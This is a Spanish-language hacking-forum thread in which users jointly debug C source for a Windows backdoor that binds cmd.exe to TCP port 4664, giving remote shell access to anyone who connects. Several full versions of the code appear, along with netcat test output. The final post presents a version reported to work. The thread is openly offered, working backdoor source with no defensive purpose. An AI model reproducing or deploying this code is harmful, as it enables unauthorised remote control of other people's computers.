Autor
|
Tema: Win Backdoor Bind port (Leído 16,646 veces)
|
sch3m4
Ex-Staff
Desconectado
Mensajes: 1.608
Nihil est in intelectu quod prius not fuerit insen
|
Hola, estoy tratando de hacer una backdoor para win que lanze la cmd, pero no sé porqué no funciona. Aquí os dejo el código a ver si podéis ayudarme. #include <stdio.h> #include <winsock.h> //la librería del socket #pragma comment(lib,"wsock32")
//el puerto para bindear la shell #define Puerto 4664
void main() { /*para crear el socket*/ WSADATA wsaData; SOCKET Winsock;//el que escucha SOCKET Sock;//el que establece la conexion struct sockaddr_in Winsock_In; /*para crear el proceso de la shell*/ STARTUPINFO start_proc; /*datos del proceso*/ PROCESS_INFORMATION info_proc; /*salida del proceso*/
/*========================================= COMENZAMOS A PONER EL SOCKET A LA ESCUCHA =========================================*/ printf("\n[+] Creando el Socket..."); /*iniciamos el socket*/ WSAStartup(MAKEWORD(2,2), &wsaData); /*asociamos*/ Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /*rellenamos la estructura*/ Winsock_In.sin_port=htons(Puerto); Winsock_In.sin_family=AF_INET; Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY); /*unimos el socket al puerto*/ if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR) { printf("ERROR - Error al bindear el socket\n"); return; } /*lo ponemos a la escucha, a la espera de clientes*/ if(listen(Winsock,1)==SOCKET_ERROR) { printf("ERROR - Error al poner el socket a la escucha\n"); /*salimos*/ printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); return; }else{ printf("OK"); } printf("\n[+] Esperando cliente..."); /*asociamos la conexión establecida a otro socket*/ if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET) { printf("ERROR - Error al aceptar\n"); /*salimos*/ printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); return; }else{ printf("OK"); }
printf("\n[+] Conexion establecida"); printf("\n[+] Lanzando shell...");
/*========================================= LANZAMOS LA SHELL =========================================*/ //rellenamos la estructura //start_proc.cb=sizeof(start_proc); start_proc.dwFlags=STARTF_USESTDHANDLES; start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock; //lanzamos la shell if(CreateProcess(NULL,"cmd",NULL,NULL,TRUE,NULL,NULL,NULL,&start_proc,&info_proc)==TRUE) { printf("OK"); }else{ printf("ERROR"); }
printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); return; }
Cuando conecto, me dice que hay un error al lanzar la shell, así que hago algo mal en la funcion CreateProcess(). Estos son los warnings que me da al compilar: --------------------Configuration: mping - Win32 Debug-------------------- Compiling... mping.c C:\lymp\mping.c(75) : warning C4047: 'function' : 'unsigned long ' differs in levels of indirection from 'void *' C:\lymp\mping.c(75) : warning C4024: 'CreateProcessA' : different types for formal and actual parameter 6
mping.obj - 0 error(s), 2 warning(s)
|
|
|
En línea
|
SafetyBits
"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
|
|
|
P[i]
Desconectado
Mensajes: 472
|
Man solo tienes que cambiar un valor de NULL a 0, keda asi el createprocces, y creo que tendria que ser cmd.exe pero no estoi seguro. CreateProcess(NULL,"cmd",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc) Saludos. P.D. -> Lo he probado a travas de telnet en win98 llamandole y el backdoor responde bien. P.D.2 -> Tienes que poner cmd.exe, porke he probado command a secas y da error(ekivalente en win32 a cmd), pero con command.com va bien ( ekivalente en win32 a cmd.exe)
|
|
« Última modificación: 15 Agosto 2005, 16:09 pm por P[i] »
|
En línea
|
|
|
|
sch3m4
Ex-Staff
Desconectado
Mensajes: 1.608
Nihil est in intelectu quod prius not fuerit insen
|
Gracias, con eso se soluciona lo de los warnings al compilar, pero no me da la shell. Estas son las respuestas: Ejecutando la "Backdoor"- Creando el Socket...OK
- Esperando cliente...
Ejecutando el NetCatD:\>nc -vv localhost 4664 DNS fwd/rev mismatch: apolo != localhost apolo [127.0.0.1] 4664 (?) open sent 0, rcvd 0: NOTSOCK
D:\>
Así queda la shell- Creando el Socket...OK
- Esperando cliente...OK
- Conexion establecida
- Lanzando shell...ERROR
- Cerrando socket...OK
Press any key to continue Porqué no funciona?
|
|
|
En línea
|
SafetyBits
"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
|
|
|
P[i]
Desconectado
Mensajes: 472
|
Man tienes que kitar -vv keda asi: Backdoor: [+] Creando el Socket...OK [+] Esperando cliente... NetCat: o si no usas router: Backdoor: [+] Creando el Socket...OK [+] Esperando cliente...OK [+] Conexion establecida [+] Lanzando shell...
Microsoft(R) Windows 98 (C)Copyright Microsoft Corp 1981-1999.
C:\WINDOWS\Escritorio> Bueno a mi me ba asi, no se ati. saludos.
|
|
|
En línea
|
|
|
|
sch3m4
Ex-Staff
Desconectado
Mensajes: 1.608
Nihil est in intelectu quod prius not fuerit insen
|
El mismo error: - Creando el Socket...OK
- Esperando cliente...OK
- Conexion establecida
- Lanzando shell...ERROR
- Cerrando socket...OK
No creo que las opciones -vv importen, ya que solo es para que te de más información de la conexion.
|
|
|
En línea
|
SafetyBits
"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
|
|
|
P[i]
Desconectado
Mensajes: 472
|
Has cambiado cmd por cmd.exe pruba bueno me voy a casa de un amigo luego miro mas chao. Saludos.
|
|
|
En línea
|
|
|
|
sch3m4
Ex-Staff
Desconectado
Mensajes: 1.608
Nihil est in intelectu quod prius not fuerit insen
|
si ya lo probé. aunque si no se le especifica una extensión, asume que es ".exe". Le quité un comentario en una asignación a la estructura que usa createprocess, aki pongo el source. (A mí no me funciona aún) #include <stdio.h> #include <winsock.h> //la librería del socket #pragma comment(lib,"wsock32")
//el puerto para bindear la shell #define Puerto 4664
void main() { /*para crear el socket*/ WSADATA wsaData; SOCKET Winsock;//el que escucha SOCKET Sock;//el que establece la conexion struct sockaddr_in Winsock_In; /*para crear el proceso de la shell*/ STARTUPINFO start_proc; /*datos del proceso*/ PROCESS_INFORMATION info_proc; /*salida del proceso*/
/*========================================= COMENZAMOS A PONER EL SOCKET A LA ESCUCHA =========================================*/ printf("\n[+] Creando el Socket..."); /*iniciamos el socket*/ WSAStartup(MAKEWORD(2,2), &wsaData); /*asociamos*/ Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /*rellenamos la estructura*/ Winsock_In.sin_port=htons(Puerto); Winsock_In.sin_family=AF_INET; Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY); /*unimos el socket al puerto*/ if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR) { printf("ERROR - Error al bindear el socket\n"); return; } /*lo ponemos a la escucha, a la espera de clientes*/ if(listen(Winsock,1)==SOCKET_ERROR) { printf("ERROR - Error al poner el socket a la escucha\n"); /*salimos*/ printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); return; }else{ printf("OK"); } printf("\n[+] Esperando cliente..."); /*asociamos la conexión establecida a otro socket*/ if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET) { printf("ERROR - Error al aceptar\n"); /*salimos*/ printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); return; }else{ printf("OK"); }
printf("\n[+] Conexion establecida"); printf("\n[+] Lanzando shell...");
/*========================================= LANZAMOS LA SHELL =========================================*/ //rellenamos la estructura start_proc.cb=sizeof(start_proc); start_proc.dwFlags=STARTF_USESTDHANDLES; start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock; //lanzamos la shell if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==TRUE) { printf("OK"); }else{ printf("ERROR"); }
printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); return; }
|
|
|
En línea
|
SafetyBits
"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
|
|
|
orphen_nb
Desconectado
Mensajes: 130
|
Lo he cambiado un poco fijandome en otra shellcode bind shell hasta que ha funcionado y ha quedado así: #include <stdio.h> #include <winsock2.h> //la librería del socket #pragma comment(lib,"wsock32")
//el puerto para bindear la shell #define Puerto 4664
int main() { /*para crear el socket*/ WSADATA wsaData; SOCKET Winsock;//el que escucha SOCKET Sock;//el que establece la conexion struct sockaddr_in Winsock_In; /*para crear el proceso de la shell*/ STARTUPINFO start_proc; /*datos del proceso*/ PROCESS_INFORMATION info_proc; /*salida del proceso*/ memset(&start_proc,0,sizeof(start_proc)); /*========================================= COMENZAMOS A PONER EL SOCKET A LA ESCUCHA =========================================*/ printf("\n[+] Creando el Socket..."); /*iniciamos el socket*/ WSAStartup(MAKEWORD(2,0), &wsaData); /*asociamos*/ Winsock=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL); /*rellenamos la estructura*/ Winsock_In.sin_port=htons(Puerto); Winsock_In.sin_family=AF_INET; Winsock_In.sin_addr.s_addr=INADDR_ANY; /*unimos el socket al puerto*/ if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR) { printf("ERROR - Error al bindear el socket\n"); return 0; } /*lo ponemos a la escucha, a la espera de clientes*/ if(listen(Winsock,1)==SOCKET_ERROR) { printf("ERROR - Error al poner el socket a la escucha\n"); /*salimos*/ printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); return 0; }else{ printf("OK"); } printf("\n[+] Esperando cliente..."); /*asociamos la conexión establecida a otro socket*/ if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET) { printf("ERROR - Error al aceptar\n"); /*salimos*/ printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); return 0; }else{ printf("OK"); }
printf("\n[+] Conexion establecida"); printf("\n[+] Lanzando shell...");
/*========================================= LANZAMOS LA SHELL =========================================*/ //rellenamos la estructura start_proc.cb=sizeof(start_proc); start_proc.dwFlags=STARTF_USESTDHANDLES; start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock; //lanzamos la shell if(CreateProcess(NULL,"cmd.exe",NULL,NULL,true,NULL,NULL,NULL,&start_proc,&info_proc)==TRUE) { printf("OK"); }else{ printf("ERROR"); } return 0; }
He puesto WSASocket() en vez de socket... la verdad, no tengo ni idea de por qué no funciona con socket, pero no funciona... Y el último WSACleanup() que pusiste no deberías haberlo puesto porque si limpias los sockets, el socket por donde se establecía la "conversación" con la shell, desaparece, y con él desaparece también la shell. También he añadido memset(&start_proc,0,sizeof(start_proc)); porque sin esta línea tampoco funciona, supongo que habrá algunas variables de start_proc inicializadas por defecto con algún valor que inhabilita la shell, y con esto lo inicializamos todo a 0, aunque tampoco se muy bien a que se debe que no funcione sin esto... Creo que no he modificado nada más... Saludos
|
|
|
En línea
|
Human knowledge belongs to the world
|
|
|
sch3m4
Ex-Staff
Desconectado
Mensajes: 1.608
Nihil est in intelectu quod prius not fuerit insen
|
He probado el codigo y no me funciona. Esta vez, me dice que la shell se lanzó, pero se me cierra el programa, y se desconecta el socket. He quitado el ultimo WSAClenaup(), que bobo  Con he retocado el código (no el que tu posteastes, sino el original) para hacerle algunos cambios, como quitar el WSACleanup y limpiar con memset(), y obtengo este restultado: - Creando el Socket...OK
- Esperando cliente...OK
- Conexion establecida
- Lanzando shell...OKPress any key to continue
Como ya he dicho, no veo la shell por ninguna parte, y cuando muestra esto, el programa se cierra...  Con el código que pusistes, obtengo el MISMO resultado. Te pongo aquí el codigo retocado aver si te funciona: #include <stdio.h> #include <winsock.h> //la librería del socket #pragma comment(lib,"wsock32")
//el puerto para bindear la shell #define Puerto 4664
int main() { /*para crear el socket*/ WSADATA wsaData; SOCKET Winsock;//el que escucha SOCKET Sock;//el que establece la conexion struct sockaddr_in Winsock_In; /*para crear el proceso de la shell*/ STARTUPINFO start_proc; /*datos del proceso*/ PROCESS_INFORMATION info_proc; /*salida del proceso*/
/*========================================= COMENZAMOS A PONER EL SOCKET A LA ESCUCHA =========================================*/ printf("\n[+] Creando el Socket..."); /*iniciamos el socket*/ WSAStartup(MAKEWORD(2,2), &wsaData); /*asociamos*/ Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /*rellenamos la estructura*/ Winsock_In.sin_port=htons(Puerto); Winsock_In.sin_family=AF_INET; Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY); /*unimos el socket al puerto*/ if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR) { printf("ERROR - Error al bindear el socket\n"); ExitProcess(1); } /*lo ponemos a la escucha, a la espera de clientes*/ if(listen(Winsock,1)==SOCKET_ERROR) { printf("ERROR - Error al poner el socket a la escucha\n"); /*salimos*/ printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); ExitProcess(1); }else{ printf("OK"); } printf("\n[+] Esperando cliente..."); /*asociamos la conexión establecida a otro socket*/ if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET) { printf("ERROR - Error al aceptar\n"); /*salimos*/ printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); ExitProcess(1); }else{ printf("OK"); }
printf("\n[+] Conexion establecida"); printf("\n[+] Lanzando shell...");
/*========================================= LANZAMOS LA SHELL =========================================*/ //rellenamos la estructura memset(&start_proc,0,sizeof(start_proc)); start_proc.cb=sizeof(start_proc); start_proc.dwFlags=STARTF_USESTDHANDLES; start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock; //lanzamos la shell if(CreateProcess(NULL,"cmd",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==TRUE) { printf("OK"); }else{ printf("ERROR"); }
/* printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); */
ExitProcess(0); }
|
|
|
En línea
|
SafetyBits
"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
|
|
|
orphen_nb
Desconectado
Mensajes: 130
|
Pues modificando este ultimo código que has posteado me funciona... Te pongo el código: #include <stdio.h> #include <winsock2.h> //la librería del socket #pragma comment(lib,"wsock32")
//el puerto para bindear la shell #define Puerto 4664
int main() { /*para crear el socket*/ WSADATA wsaData; SOCKET Winsock;//el que escucha SOCKET Sock;//el que establece la conexion struct sockaddr_in Winsock_In; /*para crear el proceso de la shell*/ STARTUPINFO start_proc; /*datos del proceso*/ PROCESS_INFORMATION info_proc; /*salida del proceso*/
/*========================================= COMENZAMOS A PONER EL SOCKET A LA ESCUCHA =========================================*/ printf("\n[+] Creando el Socket..."); /*iniciamos el socket*/ WSAStartup(MAKEWORD(2,2), &wsaData); /*asociamos*/ Winsock=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL); /*rellenamos la estructura*/ Winsock_In.sin_port=htons(Puerto); Winsock_In.sin_family=AF_INET; Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY); /*unimos el socket al puerto*/ if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR) { printf("ERROR - Error al bindear el socket\n"); ExitProcess(1); } /*lo ponemos a la escucha, a la espera de clientes*/ if(listen(Winsock,1)==SOCKET_ERROR) { printf("ERROR - Error al poner el socket a la escucha\n"); /*salimos*/ printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); ExitProcess(1); }else{ printf("OK"); } printf("\n[+] Esperando cliente..."); /*asociamos la conexión establecida a otro socket*/ if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET) { printf("ERROR - Error al aceptar\n"); /*salimos*/ printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); ExitProcess(1); }else{ printf("OK"); }
printf("\n[+] Conexion establecida"); printf("\n[+] Lanzando shell...");
/*========================================= LANZAMOS LA SHELL =========================================*/ //rellenamos la estructura memset(&start_proc,0,sizeof(start_proc)); start_proc.cb=sizeof(start_proc); start_proc.dwFlags=STARTF_USESTDHANDLES; start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock; //lanzamos la shell if(CreateProcess(NULL,"cmd",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==TRUE) { printf("OK"); }else{ printf("ERROR"); }
/* printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); */
ExitProcess(0); }
Pero tambien tienes que linkar la libreria ws2_32 (a lo mejor por eso no te funciona el anterior código que postee... Simplemente he cambiado socket() por WSASocket() y he puesto #include <winsock2.h> y he linkado esa librería, y me funciona perfectamente... pruebalo tu...
|
|
|
En línea
|
Human knowledge belongs to the world
|
|
|
|
|